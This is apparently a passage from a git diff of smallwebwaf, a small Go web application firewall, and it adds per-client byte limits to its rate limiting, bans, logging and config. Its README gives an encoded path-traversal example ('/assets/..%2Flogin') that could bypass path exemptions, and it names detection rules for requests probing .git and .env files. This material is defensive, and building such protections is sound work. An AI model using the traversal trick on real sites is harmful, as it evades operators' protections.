internal/bans/admin_test.go | 5 +- internal/bans/bans.go | 31 +- internal/bans/bans_test.go | 2 +- internal/config/config.go | 25 ++ internal/config/config_test.go | 100 ++++- internal/metrics/metrics.go | 16 +- internal/proxy/alerts_test.go | 11 +- internal/proxy/bans.go | 99 ++++- internal/proxy/bans_test.go | 1 + internal/proxy/bodies.go | 42 ++ internal/proxy/bytelimits_test.go | 583 +++++++++++++++++++++++++++ internal/proxy/metrics_test.go | 8 +- internal/proxy/passthrough_test.go | 7 +- internal/proxy/proxy.go | 14 +- internal/proxy/request.go | 50 ++- internal/proxy/requestlog_test.go | 5 +- internal/ratelimit/ratelimit.go | 237 +++++++---- internal/ratelimit/ratelimit_test.go | 120 +++++- internal/ratelimit/snapshot_test.go | 17 +- internal/requestlog/requestlog.go | 13 +- internal/state/state.go | 14 +- internal/state/state_test.go | 7 + 23 files changed, 1400 insertions(+), 300 deletions(-) create mode 100644 internal/proxy/bytelimits_test.go diff --git a/README.md b/README.md index 4efd855..e21bf5e 100644 --- a/README.md +++ b/README.md @@ -22,29 +22,30 @@ fields, which come a little later, and the metrics endpoint and the header size and the idle time as settings, which come last in it. So are the four parts of the stage after it: the rule files, with the bans for a clear sign of attack, the other admin endpoints, alerts to all three destinations, a JSON webhook, -Slack and ntfy, and remote log sending. So is the first part of the stage after +Slack and ntfy, and remote log sending. So are two parts of the stage after that: the AS number and country of every client, looked up through GeoJS or in -the IPinfo Lite database file. `smallwebwaf` passes each request to the app and -the app's answer back, unchanged, within its timeouts and size limits, works out -each client's address, looks up its AS number and country unless you switch that -off, bans a client that sends too many requests, not counting those for the -paths you choose, refuses a client that comes from a country you refuse or from -a network you refuse, lets the networks you choose through, checks each request -against the rule files and bans a client whose request is a clear sign of -attack, keeps its bans, each client's counters and history, and GeoJS's answers -in JSON files across restarts, takes in your edits of those files, such as a ban -you make, keep or lift, and of the rule files while it runs, writes a JSON log -line for every request, sends its log lines to a syslog server too if you name -one, sends an alert to a webhook, to Slack and to ntfy, each if you name one, -for each ban it makes or makes permanent, for GeoJS failing, for a rule file or -state file with an error and for a replacement of the lookup database it cannot -read, serves Prometheus metrics to a scraper that holds the metrics token, lets -an admin who holds the admin token list, add and lift bans and ask what it knows -of a client, and in `observe` mode passes on the requests it would refuse, -logging what it would have done with them. It comes as the image the app's own -image is built on. The rest of the design comes after that, in the order of the -build order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to -the design is in [`EVALUATION.md`](EVALUATION.md). +the IPinfo Lite database file, and the byte limits. `smallwebwaf` passes each +request to the app and the app's answer back, unchanged, within its timeouts and +size limits, works out each client's address, looks up its AS number and country +unless you switch that off, bans a client that sends too many requests or too +many bytes, not counting those for the paths you choose, refuses a client that +comes from a country you refuse or from a network you refuse, lets the networks +you choose through, checks each request against the rule files and bans a client +whose request is a clear sign of attack, keeps its bans, each client's counters +and history, and GeoJS's answers in JSON files across restarts, takes in your +edits of those files, such as a ban you make, keep or lift, and of the rule +files while it runs, writes a JSON log line for every request, sends its log +lines to a syslog server too if you name one, sends an alert to a webhook, to +Slack and to ntfy, each if you name one, for each ban it makes or makes +permanent, for GeoJS failing, for a rule file or state file with an error and +for a replacement of the lookup database it cannot read, serves Prometheus +metrics to a scraper that holds the metrics token, lets an admin who holds the +admin token list, add and lift bans and ask what it knows of a client, and in +`observe` mode passes on the requests it would refuse, logging what it would +have done with them. It comes as the image the app's own image is built on. The +rest of the design comes after that, in the order of the build order in +[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in +[`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -107,26 +108,40 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of window still covers. At most 20,000 clients are kept, the least recently seen dropped first, with their history, and a restart gives no client a fresh allowance (see "State files" below). -- Bans a client that breaks a rate limit, as "Bans" in [`SPEC.md`](SPEC.md) - describes: the first ban lasts an hour, and a limit broken again within a day - of a ban ending bans for three times as long as that ban, so 1, 3, 9, 27 and - 81 hours; a ban that would last longer than seven days is permanent instead. A - ban covers the client's netblock: its IPv4 address, or the netblock around it - that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or its IPv6 /64. While it lasts, every - request from the netblock is refused with `SWWAF_BAN_RESPONSE` after the - static lists and before the country lists, so the client is not looked up, and - is not counted for the rate limits. A ban sets the client's counters back to - zero. Each ban carries notes for deciding whether to lift it: the limit, its - window and the requests counted in it, the request that broke it, the client's - AS number, AS name and country once they are looked up, the netblock's - requests since it was first seen, how many of them the ban has refused, and - how many bans the netblock had before, for a broken limit, for a clear sign of - attack and by an admin. At most `SWWAF_MAX_BANS` bans `smallwebwaf` made are - kept, past, active and permanent; past that, the earliest such ban of the - netblock that has gone longest without a request is dropped first. The bans - whose cause is `admin`, those you make or keep, are kept besides, and never - dropped. `bans.json` shows the bans and their notes, a restart lifts none, and - you make, keep or lift a ban by editing it (see "State files" below). +- Counts each client's bytes over a minute, an hour and a day, in the same way: + once a request passed to the app has ended, the body bytes of its answer, of + the request, or of both, as `SWWAF_BYTES_COUNT` says. For a WebSocket, or any + other upgraded connection, what it carried from the app counts with the + answer, and what it carried from the client with the request, once it closes. + Bytes that take the client over one of the byte limits below break that limit, + and ban the client as a broken rate limit does, so that its next request is + refused. The byte limits never cut an answer or an upgraded connection short: + the one whose bytes break a limit has already been passed on, or has closed. + They leave out what the rate limits leave out: a client in `SWWAF_ALLOW_NETS` + or `SWWAF_RATE_LIMIT_EXEMPT_NETS`, and a request for a path + `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts. +- Bans a client that breaks a rate limit or a byte limit, as "Bans" in + [`SPEC.md`](SPEC.md) describes: the first ban lasts an hour, and a limit + broken again within a day of a ban ending bans for three times as long as that + ban, so 1, 3, 9, 27 and 81 hours; a ban that would last longer than seven days + is permanent instead. A ban covers the client's netblock: its IPv4 address, or + the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or its IPv6 /64. + While it lasts, every request from the netblock is refused with + `SWWAF_BAN_RESPONSE` after the static lists and before the country lists, so + the client is not looked up, and is not counted for the rate limits. A ban + sets the client's counters back to zero. Each ban carries notes for deciding + whether to lift it: the limit, whether it is on requests or bytes, its window + and the requests or bytes counted in it, the request that broke it, the + client's AS number, AS name and country once they are looked up, the + netblock's requests since it was first seen, how many of them the ban has + refused, and how many bans the netblock had before, for a broken limit, for a + clear sign of attack and by an admin. At most `SWWAF_MAX_BANS` bans + `smallwebwaf` made are kept, past, active and permanent; past that, the + earliest such ban of the netblock that has gone longest without a request is + dropped first. The bans whose cause is `admin`, those you make or keep, are + kept besides, and never dropped. `bans.json` shows the bans and their notes, a + restart lifts none, and you make, keep or lift a ban by editing it (see "State + files" below). - Checks each request against the rules of the rule files (see "Rule files" below) after the rate limits, and before its body is read. A `log` rule that matches is noted in the log line; a `block` rule refuses the request with @@ -138,10 +153,10 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of default, and any request from the netblock while it lasts makes it permanent. Once it has run out, the netblock is served like any other, but its next clear sign of attack bans it permanently at once. Such a ban covers the same - netblock as a ban for a broken rate limit, does not set the client's counters - back to zero, and does not make the netblock's next ban for a broken limit - longer. Its notes give the id and the target of the rule that matched in place - of the limit. + netblock as a ban for a broken limit, does not set the client's counters back + to zero, and does not make the netblock's next ban for a broken limit longer. + Its notes give the id and the target of the rule that matched in place of the + limit. - Looks up the AS number and country of every client through GeoJS, or in the IPinfo Lite database file while `SWWAF_LOOKUP_SOURCE` is `file`, after the static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and @@ -160,29 +175,33 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of `SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. - Checks the client's own address against the static lists, the three netblock settings below, before anything else, its lookup included. A client in - `SWWAF_ALLOW_NETS` skips bans, the country lists, the rate limits and the rule - files, and is not looked up; the timeouts and size limits still apply. A - client in `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its - body is read, and the request is not counted for the rate limits; an address - in `SWWAF_ALLOW_NETS` too is let through. A client in - `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate - limits; the country lists, the rule files and bans still apply to it. + `SWWAF_ALLOW_NETS` skips bans, the country lists, the rate limits, the byte + limits and the rule files, and is not looked up; the timeouts and size limits + still apply. A client in `SWWAF_DENY_NETS` is refused with + `SWWAF_BAN_RESPONSE` before its body is read, and the request is not counted + for the rate limits; an address in `SWWAF_ALLOW_NETS` too is let through. A + client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the + rate limits, and has no bytes counted by the byte limits; the country lists, + the rule files and bans still apply to it. - In `observe` mode, with `SWWAF_MODE=observe`, refuses none of the requests that `SWWAF_DENY_NETS`, a ban, the country lists, a rate limit or a rule would refuse: it passes them to the app, and their log lines name what `enforce` mode would have done (see `would_action` in "Request log" below). The checks - run, and requests are counted, as in `enforce` mode, with three differences: - neither a broken rate limit nor a `ban` rule makes a ban; a broken rate limit - does not set the client's counters back to zero, so each request over the - limit is logged as one that would be refused; and a request under a ban does - not make it permanent. A ban it would have made, or made permanent, raises the - alert `enforce` mode would have raised, marked as what would have happened - (see "Alerts" below). The bans in `bans.json` are kept, and refuse requests - again when `smallwebwaf` next runs in `enforce` mode, as long as they last. - The timeouts and size limits still apply, since they protect `smallwebwaf` and - the app themselves, and a request for one of `smallwebwaf`'s own endpoints - without its token is still answered `401`. It is for trying a configuration - before enforcing it. + run, and requests and bytes are counted, as in `enforce` mode, with three + differences: neither a broken rate limit or byte limit nor a `ban` rule makes + a ban; a broken limit does not set the client's counters back to zero, so each + request over a rate limit is logged as one that would be refused, and each + whose bytes keep the client over a byte limit as breaking it; and a request + under a ban does not make it permanent. As in `enforce` mode, the bytes + counted are only those of the requests `enforce` mode would have passed to the + app. A ban it would have made, or made permanent, raises the alert `enforce` + mode would have raised, marked as what would have happened (see "Alerts" + below). The bans in `bans.json` are kept, and refuse requests again when + `smallwebwaf` next runs in `enforce` mode, as long as they last. The timeouts + and size limits still apply, since they protect `smallwebwaf` and the app + themselves, and a request for one of `smallwebwaf`'s own endpoints without its + token is still answered `401`. It is for trying a configuration before + enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for @@ -254,10 +273,11 @@ effective settings are logged at start. - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. - `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the - country lists, the rate limits and the rule files, such as your monitoring or - your own networks. + country lists, the rate limits, the byte limits and the rule files, such as + your monitoring or your own networks. - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the - rate limits do not apply to, such as a machine that talks to the app all day. + rate limits and the byte limits do not apply to, such as a machine that talks + to the app all day. - `SWWAF_DENY_NETS` (default empty): netblocks whose clients are always refused. - `SWWAF_RATE_LIMIT_PER_MINUTE` (default `1000`), `SWWAF_RATE_LIMIT_PER_HOUR` (default `10000`) and `SWWAF_RATE_LIMIT_PER_DAY` (default `50000`): the most @@ -265,19 +285,29 @@ effective settings are logged at start. several times what one busy person produces, since a browser loading a heavy page makes a few hundred requests and several people often share one address. - `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes whose requests - the rate limits neither count nor refuse, such as `/assets/` for static - assets; each starts with `/`. A request whose path, percent-decoded, contains - `..` anywhere or a backslash, or whose path as sent holds an encoded slash - (`%2F` or `%2f`), is never exempt, since the app may act on it as a path - outside every prefix: `/assets/..%2Flogin` as `/login`. Any other request is - exempt when its path as sent, the path the app receives, before any query - string and not percent-decoded, starts with a prefix, character for character. - `/assets/` matches `/assets/app.js` and `/assets/`, but not `/assets`, - `/Assets/app.js`, `/%61ssets/app.js`, `/static/assets/app.js`, - `/static/../assets/app.js` or `/assets%2Fapp.js`. A character the client sends - percent-encoded, such as a space, is written percent-encoded in a prefix, as - in `/my%20files/`, and there are no wildcards: `*` is a character like any - other. + the rate limits neither count nor refuse, and whose bytes the byte limits do + not count, such as `/assets/` for static assets; each starts with `/`. A + request whose path, percent-decoded, contains `..` anywhere or a backslash, or + whose path as sent holds an encoded slash (`%2F` or `%2f`), is never exempt, + since the app may act on it as a path outside every prefix: + `/assets/..%2Flogin` as `/login`. Any other request is exempt when its path as + sent, the path the app receives, before any query string and not + percent-decoded, starts with a prefix, character for character. `/assets/` + matches `/assets/app.js` and `/assets/`, but not `/assets`, `/Assets/app.js`, + `/%61ssets/app.js`, `/static/assets/app.js`, `/static/../assets/app.js` or + `/assets%2Fapp.js`. A character the client sends percent-encoded, such as a + space, is written percent-encoded in a prefix, as in `/my%20files/`, and there + are no wildcards: `*` is a character like any other. +- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `10G`), `SWWAF_BYTES_LIMIT_PER_HOUR` + (default `20G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `50G`): the most + bytes a client may have counted in a minute, an hour and a day. A request's + bytes are counted once its answer has ended, so each default is above the + largest request body and the largest response together, + `SWWAF_REQUEST_MAX_BYTES` and `SWWAF_RESPONSE_MAX_BYTES`: at the defaults no + download breaks a limit on its own. +- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count: + `response` for those of the answers, `request` for those of the requests, or + `both`. - `SWWAF_LOOKUP_SOURCE` (default `geojs`): where each client's AS number and country are looked up: `geojs`, the GeoJS web service, which is then told the address of every new visitor, `file`, the IPinfo Lite database file @@ -311,12 +341,12 @@ effective settings are logged at start. the client unanswered: traefik answers `502`, as it does whenever its backend drops a connection. A `block` rule always answers `403`. - `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken rate - limit. -- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit broken again - within this time after a ban ended, other than one for a clear sign of attack, - bans for three times as long as that ban. -- `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban for a broken rate limit that - would be longer is permanent instead. + limit or byte limit. +- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit or byte limit + broken again within this time after a ban ended, other than one for a clear + sign of attack, bans for three times as long as that ban. +- `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban for a broken rate limit or byte + limit that would be longer is permanent instead. - `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of attack. - `SWWAF_MAX_BANS` (default `5000`): the most bans `smallwebwaf` made that are @@ -410,15 +440,16 @@ effective settings are logged at start. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 -bytes). Rate limits are whole numbers of requests. Netblocks are in CIDR form, -and a bare address stands for itself alone. Countries are the two-letter codes -ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are -the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn -`su`, stops the start, and so does a code on both country lists. `off` switches -a timeout, a size limit, a rate limit, `SWWAF_ALERT_COOLDOWN` or -`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, -`SWWAF_LOOKUP_TIMEOUT`, the ban settings, the state settings, -`SWWAF_METRICS_TOP_N` and `SWWAF_LOG_REMOTE_BUFFER` cannot be off. +bytes). Rate limits are whole numbers of requests, and byte limits are sizes. +Netblocks are in CIDR form, and a bare address stands for itself alone. +Countries are the two-letter codes ISO 3166-1 assigns today, and `xk` for +Kosovo, in either case (`de` and `DE` are the same); any other code, such as +`nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a +code on both country lists. `off` switches a timeout, a size limit, a rate +limit, a byte limit, `SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off; +`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_LOOKUP_TIMEOUT`, the ban +settings, the state settings, `SWWAF_METRICS_TOP_N` and +`SWWAF_LOG_REMOTE_BUFFER` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, with their counters and history, and an IPv6 client is counted by its /64. At @@ -462,7 +493,7 @@ and for the container, `-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro` and refused ones included: ``` -{"type":"request","time":"2026-10-03T12:00:00.123Z","instance":"fsn1app1/gitea","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"response_content_type":"text/html; charset=utf-8","upstream_status":200,"action":"forward","counts":{"minute":1,"hour":12,"day":40},"duration_total":3.217,"duration_checks":0.041,"duration_upstream_connect":0.052,"duration_upstream_first_byte":2.874,"duration_upstream_total":3.104} +{"type":"request","time":"2026-10-03T12:00:00.123Z","instance":"fsn1app1/gitea","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"response_content_type":"text/html; charset=utf-8","upstream_status":200,"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"duration_total":3.217,"duration_checks":0.041,"duration_upstream_connect":0.052,"duration_upstream_first_byte":2.874,"duration_upstream_total":3.104} ``` A field that does not apply to a request is left out of its line, apart from @@ -527,13 +558,20 @@ which every line has. health check, one from a client in `SWWAF_ALLOW_NETS` or `SWWAF_RATE_LIMIT_EXEMPT_NETS`, one for a path that `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts, and one that `SWWAF_DENY_NETS`, a ban - or the country lists refuse, or would refuse in `observe` mode. The byte - totals come with the byte limits. + or the country lists refuse, or would refuse in `observe` mode. Its + `minute_bytes`, `hour_bytes` and `day_bytes` give the client's bytes in each + window as the byte limits count them, in the same way: for a request whose + bytes they count, with its own, once it has ended; for any other, those + counted before it. - `rule_ids` is there for a request that matched rules of the rule files, and lists their ids in the order they matched, up to the one that refused it. -- `limit_hit` is there for a request that broke a rate limit, and names the - window whose limit it went over: `minute`, `hour` or `day`, the shortest if it - went over several. `offence` is then `limit`. +- `limit_hit` is there for a request that broke a rate limit, or whose bytes + broke a byte limit, and names the window whose limit it went over as `counts` + names it: `minute`, `hour` or `day` for a rate limit, and `minute_bytes`, + `hour_bytes` or `day_bytes` for a byte limit, the shortest if it went over + several. `offence` is then `limit`. A request whose bytes broke a byte limit + is not refused: its `action` is what it would have been otherwise, such as + `forward`. - `ban_expires` is there for a request that made a ban or was refused under one, or in `observe` mode would have been refused under one, and gives when the ban ends, in the same form as `time`, or `permanent`. @@ -596,8 +634,8 @@ gives, as "Alert webhook schema" in [`SPEC.md`](SPEC.md) describes, and to it, as below. An alert is for one of these events, and is sent when `SWWAF_ALERT_EVENTS` names its event: -- `ban`: a ban `smallwebwaf` makes, for a broken rate limit or a clear sign of - attack. +- `ban`: a ban `smallwebwaf` makes, for a broken rate limit or byte limit or a + clear sign of attack. - `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack that a request made permanent. - `source_failure`: GeoJS failing or refusing `smallwebwaf`. @@ -633,6 +671,7 @@ is sent on one line: "asn": "", "as_name": "", "country": "", + "kind": "requests", "limit": 1000, "window": "minute", "count": 1001, @@ -752,20 +791,23 @@ entries by client address, but for the alerts waiting, with times in UTC. - `bans.json`: every ban with its notes, indented to be read. A permanent ban's `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit or - `attack` for a clear sign of attack, for a ban `smallwebwaf` made, and `admin` - for one you made or keep. Its `reason` is a short text: for a ban - `smallwebwaf` made, the limit broken, such as - `requests per minute over the limit of 1000`, or the rule that matched, such + byte limit or `attack` for a clear sign of attack, for a ban `smallwebwaf` + made, and `admin` for one you made or keep. Its `reason` is a short text: for + a ban `smallwebwaf` made, the limit broken, such as + `requests per minute over the limit of 1000` or + `bytes per hour over the limit of 21474836480`, or the rule that matched, such as `matched the rule env-file`; for yours, what you wrote. Its `lifted` is - when you lifted it, and is left out until you do. -- `clients.json`: each client's two buckets in the minute, the hour and the day, - and its history: when it was first and last seen, its AS number, AS name and - country as last looked up and when the lookup gave them, its requests, how - many were forwarded and how many refused (one `smallwebwaf` answered at its - own endpoints is neither, unless it was refused with `401` for a missing or - wrong token), the body bytes in each direction, its responses by status class - and its offences by kind. Each client is on a line of its own, so `grep` shows - everything about one. + when you lifted it, and is left out until you do. The `kind` in the notes of a + ban for a broken limit is `requests` or `bytes`, what the limit is on. +- `clients.json`: each client's two buckets of requests in the minute, the hour + and the day, its two buckets of bytes in each, `minute_bytes`, `hour_bytes` + and `day_bytes`, and its history: when it was first and last seen, its AS + number, AS name and country as last looked up and when the lookup gave them, + its requests, how many were forwarded and how many refused (one `smallwebwaf` + answered at its own endpoints is neither, unless it was refused with `401` for + a missing or wrong token), the body bytes in each direction, its responses by + status class and its offences by kind. Each client is on a line of its own, so + `grep` shows everything about one. - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS number, AS name and country, when GeoJS gave it and when it was last used. - `alerts.json`: the state of the alerts (see "Alerts" above), indented to be @@ -801,9 +843,9 @@ message naming the file, and the line and column where Go's JSON decoder gives them; so does a state directory `smallwebwaf` cannot write. So does an entry without a field it needs, named with the entry's place in the file: a ban's `netblock`, `start` or `expires`, which is `null` for a permanent ban; a -client's `client`, or the `start` of a window in which it has requests; an -answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or -`answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or +client's `client`, or the `start` of a window in which it has requests or bytes; +an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, +or `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or `time`. So does a ban whose `cause` is not `limit`, `attack` or `admin`, and alerts waiting for a destination that is not `webhook`, `slack` or `ntfy`. An answer's `asn` or `as_name` left out reads as empty. @@ -955,7 +997,8 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets `smallwebwaf_upstream_duration_seconds`: how long those passed to the app took from then on, as histograms; `smallwebwaf_requests_in_flight`: the requests under way. -- `smallwebwaf_rate_limit_hits_total` by `window`, +- `smallwebwaf_rate_limit_hits_total` by `window`, `minute`, `hour` or `day`, + and `kind`, `requests` for a rate limit or `bytes` for a byte limit, `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose limit was passed, `smallwebwaf_offences_total` by `kind`, and `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack` or `admin`, the @@ -1375,7 +1418,8 @@ addresses are never sent to GeoJS. body over the size limit; in `observe` mode, only for the size limit, with what it would have refused for noted in the log line. A request under `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` - instead of reaching the app. + instead of reaching the app. Once the answer to a request passed to the app + has ended, `countBytes` counts its bytes for the byte limits. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -1388,8 +1432,9 @@ addresses are never sent to GeoJS. client's history and to the notes of its bans; or in the lookup database, which it reads again when the file is replaced. `internal/lookup/lookuptest` writes lookup databases for the tests. -- `internal/ratelimit`: the table of clients: counts each client's requests, - tells when one takes it over a rate limit, and keeps each client's history. +- `internal/ratelimit`: the table of clients: counts each client's requests and + bytes, tells when they take it over a rate limit or a byte limit, and keeps + each client's history. - `internal/state`: reads the state files at start, takes in an admin's edit of one while running, and writes them when they are due and at the stop. - `internal/requestlog`: the lines on stdout: the request log line and the diff --git a/internal/bans/admin_test.go b/internal/bans/admin_test.go index 3917281..6047f48 100644 --- a/internal/bans/admin_test.go +++ b/internal/bans/admin_test.go @@ -66,12 +66,15 @@ func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) { ledger := bans.New(defaultRules()) limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), - bans.Notes{Limit: 1000, Window: "minute"}) + bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}) + byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"), + midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"}) attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(), bans.Notes{RuleID: "git-dir", Target: "path"}) for _, tc := range []struct{ got, want string }{ {limit.Reason, "requests per minute over the limit of 1000"}, + {byteLimit.Reason, "bytes per hour over the limit of 10737418240"}, {attack.Reason, "matched the rule git-dir"}, } { if tc.got != tc.want { diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 7317c7e..58fedcc 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -1,8 +1,8 @@ // Package bans is the ban ledger: the bans smallwebwaf makes on the -// netblocks of clients that break a rate limit or show a clear sign of -// attack, and those an admin makes, with their notes, as the "Bans" -// section of SPEC.md describes. The bans are kept in memory, and written -// to bans.json and read from it by the state package. +// netblocks of clients that break a rate limit or a byte limit or show a +// clear sign of attack, and those an admin makes, with their notes, as +// the "Bans" section of SPEC.md describes. The bans are kept in memory, +// and written to bans.json and read from it by the state package. package bans import ( @@ -97,11 +97,14 @@ type Notes struct { ASN string `json:"asn"` ASName string `json:"as_name"` Country string `json:"country"` - // Limit, Window and Count are, for a ban for a broken limit, the limit - // that was broken, its window, "minute", "hour" or "day", and the - // count reached: the client's requests in the window, the one that - // broke the limit included. These are the requests that counted - // toward the ban, and the window is the time over which they came. + // Kind, Limit, Window and Count are, for a ban for a broken limit, + // what the limit was on, "requests" for a rate limit or "bytes" for a + // byte limit, the limit that was broken, its window, "minute", "hour" + // or "day", and the count reached: the client's requests, or bytes, in + // the window, those of the request that broke the limit included. + // These are what counted toward the ban, and the window is the time + // over which they came. + Kind string `json:"kind,omitempty"` Limit int64 `json:"limit,omitempty"` Window string `json:"window,omitempty"` Count float64 `json:"count,omitempty"` @@ -109,8 +112,8 @@ type Notes struct { // of the rule file rule that matched, and its target. RuleID string `json:"rule_id,omitempty"` Target string `json:"target,omitempty"` - // Request is the request that broke the limit, or that was the clear - // sign of attack. + // Request is the request that broke the limit, or whose bytes broke + // it, or that was the clear sign of attack. Request Request `json:"request"` // Requests is how many requests the netblock has sent since it was // first seen, and Refused how many of them the ban has refused so @@ -260,7 +263,8 @@ func activeBan(bans []Ban, now time.Time) *Ban { // active, as when two of its requests break a limit at once, that ban is // returned with false, and no other is made. The ledger fills in the // notes' Refused and EarlierBans itself, and gives the ban the reason -// "requests per over the limit of ", from the notes. +// " per over the limit of ", from the notes, such +// as "requests per minute over the limit of 1000". func (l *Ledger) BanForLimit( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { @@ -317,7 +321,8 @@ func (l *Ledger) WouldBePermanent( // limitReason is the reason of a ban for a broken limit, with notes. func limitReason(notes Notes) string { - return fmt.Sprintf("requests per %s over the limit of %d", notes.Window, notes.Limit) + return fmt.Sprintf("%s per %s over the limit of %d", + notes.Kind, notes.Window, notes.Limit) } // attackReason is the reason of a ban for a clear sign of attack, with diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index 3514d15..a04bef7 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -349,7 +349,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { // As it ends, a clear sign of attack would ban for seven days, and a // limit broken again for three hours, but neither is made. - limitNotes := bans.Notes{Limit: 1, Window: "minute"} + limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"} attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, bans.Notes{RuleID: "git-dir"}) limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes) diff --git a/internal/config/config.go b/internal/config/config.go index 079607b..ce01942 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -91,6 +91,15 @@ type Config struct { // limits neither count nor refuse (SWWAF_RATE_LIMIT_EXEMPT_PATHS). // Each starts with /. RateLimitExemptPaths []string + // BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the + // most bytes a client's requests may carry in a minute, an hour and a + // day (SWWAF_BYTES_LIMIT_PER_MINUTE, SWWAF_BYTES_LIMIT_PER_HOUR and + // SWWAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count + // toward them (SWWAF_BYTES_COUNT): response, request or both. + BytesLimitPerMinute int64 + BytesLimitPerHour int64 + BytesLimitPerDay int64 + BytesCount string // LookupSource is where each client's AS number and country are // looked up (SWWAF_LOOKUP_SOURCE): geojs, file, or off for nowhere. // LookupDBPath is the lookup database, the IPinfo Lite file looked up @@ -266,6 +275,7 @@ var ( "is not an absolute path, such as /var/lib/smallwebwaf") errShortToken = errors.New("is shorter than 32 characters") errNotMode = errors.New("is not enforce or observe") + errNotBytesCount = errors.New("is not response, request or both") errNotPathPrefix = errors.New( "is not a path prefix starting with /, such as /assets/") errNotBoolean = errors.New("is not true or false") @@ -321,6 +331,10 @@ func FromEnvironment(lookupEnv func(string) (string, 